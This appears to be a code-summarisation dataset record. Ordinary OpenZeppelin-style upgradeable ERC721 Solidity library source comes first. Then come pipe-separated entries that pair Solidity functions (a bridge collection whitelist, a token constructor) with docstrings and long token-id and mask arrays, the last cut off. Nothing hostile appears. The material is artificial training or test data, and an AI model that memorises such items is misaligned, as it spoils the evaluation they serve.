* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal initializer {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
} | * @notice Adds a collection to the whitelist (effectively allowing bridge transactions for this token) @dev can only be called by MANAGE_COLLECTION_WHITELIST_ROLE @param collectionAddress the address of the token in the network this contract was released on @dev emits event AddedCollectionToWhitelist after successful whitelisting/ | function addCollectionToWhitelist(address collectionAddress) external {
require(
hasRole(MANAGE_COLLECTION_WHITELIST_ROLE, _msgSender()),
'CrossChainBridgeERC721: must have MANAGE_COLLECTION_WHITELIST_ROLE role to execute this function'
);
require(collectionAddress != address(0), 'CrossChainBridgeERC721V1: invalid collectionAddress provided');
officialCollectionWhitelist[collectionAddress] = true;
emit AddedCollectionToWhitelist(collectionAddress);
}
| 1,512,058 | [
1,
3655,
279,
1849,
358,
326,
10734,
261,
13867,
4492,
15632,
10105,
8938,
364,
333,
1147,
13,
225,
848,
1338,
506,
2566,
635,
20972,
2833,
67,
25964,
67,
16861,
7085,
67,
16256,
225,
1849,
1887,
326,
1758,
434,
326,
1147,
316,
326,
2483,
333,
6835,
1703,
15976,
603,
225,
24169,
871,
25808,
2532,
774,
18927,
1839,
6873,
10734,
310,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
527,
2532,
774,
18927,
12,
2867,
1849,
1887,
13,
3903,
288,
203,
565,
2583,
12,
203,
1377,
28335,
12,
9560,
2833,
67,
25964,
67,
16861,
7085,
67,
16256,
16,
389,
3576,
12021,
1435,
3631,
203,
1377,
296,
13941,
3893,
13691,
654,
39,
27,
5340,
30,
1297,
1240,
20972,
2833,
67,
25964,
67,
16861,
7085,
67,
16256,
2478,
358,
1836,
333,
445,
11,
203,
565,
11272,
203,
565,
2583,
12,
5548,
1887,
480,
1758,
12,
20,
3631,
296,
13941,
3893,
13691,
654,
39,
27,
5340,
58,
21,
30,
2057,
1849,
1887,
2112,
8284,
203,
565,
3397,
22354,
2532,
18927,
63,
5548,
1887,
65,
273,
638,
31,
203,
565,
3626,
25808,
2532,
774,
18927,
12,
5548,
1887,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/3/0x4a7852a6d62c83be634E57979b67B3492E929FF3/sources/Aryaman.sol | * Constrctor function Initializes contract with initial supply tokens to the creator of the contract/ | constructor() public {
name = "Aryaman";
symbol = "AV";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
| 16,622,161 | [
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
